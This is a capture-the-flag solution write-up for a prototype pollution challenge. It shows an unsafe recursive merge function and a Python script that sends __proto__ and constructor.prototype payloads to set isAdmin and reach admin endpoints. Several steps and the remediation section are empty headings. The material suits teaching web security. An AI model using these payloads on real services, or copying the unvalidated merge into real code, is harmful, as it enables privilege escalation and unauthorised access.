🧬 Can you pollute the prototype chain to break application security?

🧬 Prototype Pollution Hunter - Complete Solution

🔍 Step 1: Initial API Analysis

Navigate to http:// to access the ConfigAPI application. The interface displays:

The application provides a REST API for managing user configurations with JSON-based data processing.

🔍 Step 2: Understanding Prototype Pollution

Prototype pollution is a JavaScript vulnerability where attackers can modify Object.prototype or other built-in prototypes. This occurs when applications merge user input into objects without proper validation:

# Vulnerable pattern:
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            target[key] = merge(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}
# Problem: No validation of key names!

Key concepts:

• Prototype Chain: JavaScript objects inherit from Object.prototype
• Property Traversal: Keys like "__proto__" or "constructor.prototype" can modify prototypes
• Global Impact: Polluted prototypes affect all objects in the application
• Security Bypass: Can override security checks and access controls

🔍 Step 3: API Endpoint Discovery

Explore the available API endpoints:

Normal API responses show:

• Current user configuration settings
• User permission level (typically "user")
• Available configuration options
• Access control status

🔍 Step 4: Testing for Prototype Pollution

Test if the configuration endpoint is vulnerable to prototype pollution:

🔍 Step 5: Identifying Security Properties

Analyze the application to identify security-relevant properties that could be polluted:

Common security properties to target:

• isAdmin: Administrative access flag
• role: User role designation
• permissions: Access control array
• authenticated: Authentication status

🔍 Step 6: Exploiting with Admin Privilege Escalation

Attempt to pollute the prototype with administrative privileges:

🔍 Step 7: Verifying Privilege Escalation

Check if the prototype pollution successfully granted administrative access:

Successful exploitation should show:

• User status changed to "admin" or "administrator"
• Access to previously restricted endpoints
• Administrative functionality now available
• Flag exposure through admin endpoints

🔍 Step 8: Flag Discovery Methods

Once administrative access is achieved, the flag becomes accessible through multiple methods:

The admin endpoints reveal system information including the security flag when proper administrative privileges are detected.

🔍 Step 9: Advanced Prototype Pollution Techniques

Alternative exploitation methods for different scenarios:

🔍 Step 10: Python Script for Automated Exploitation

Automated script for prototype pollution testing:

import requests
import json

def test_prototype_pollution(target_url):
    base_url = f"http://{target_url}"
    
    # Test different pollution payloads
    payloads = [
        {"__proto__": {"isAdmin": True}},
        {"constructor": {"prototype": {"isAdmin": True}}},
        {"settings": {"__proto__": {"isAdmin": True}}}
    ]
    
    for payload in payloads:
        response = requests.post(f"{base_url}/api/config", json=payload)
        print(f"Payload: {payload}")
        print(f"Response: {response.status_code}")
        
        # Check if admin access granted
        status = requests.get(f"{base_url}/api/status")
        if "admin" in status.text.lower():
            print("✅ Admin access achieved!")
            admin_response = requests.get(f"{base_url}/api/admin")
            print(f"Admin endpoint: {admin_response.status_code}")
            break

test_prototype_pollution("<target-ip>")

🔍 Real Prototype Pollution Analysis

This challenge demonstrates a genuine prototype pollution vulnerability:

🛡️ Security Implications and Remediation

📚 Key Learning Points

• Prototype Pollution Understanding: JavaScript prototype chain manipulation techniques
• Modern API Security: Vulnerabilities in Node.js and JSON processing
• Object Safety: Secure patterns for dynamic object manipulation
• Input Validation: Critical importance of property name validation
• Privilege Escalation: How prototype pollution enables access control bypass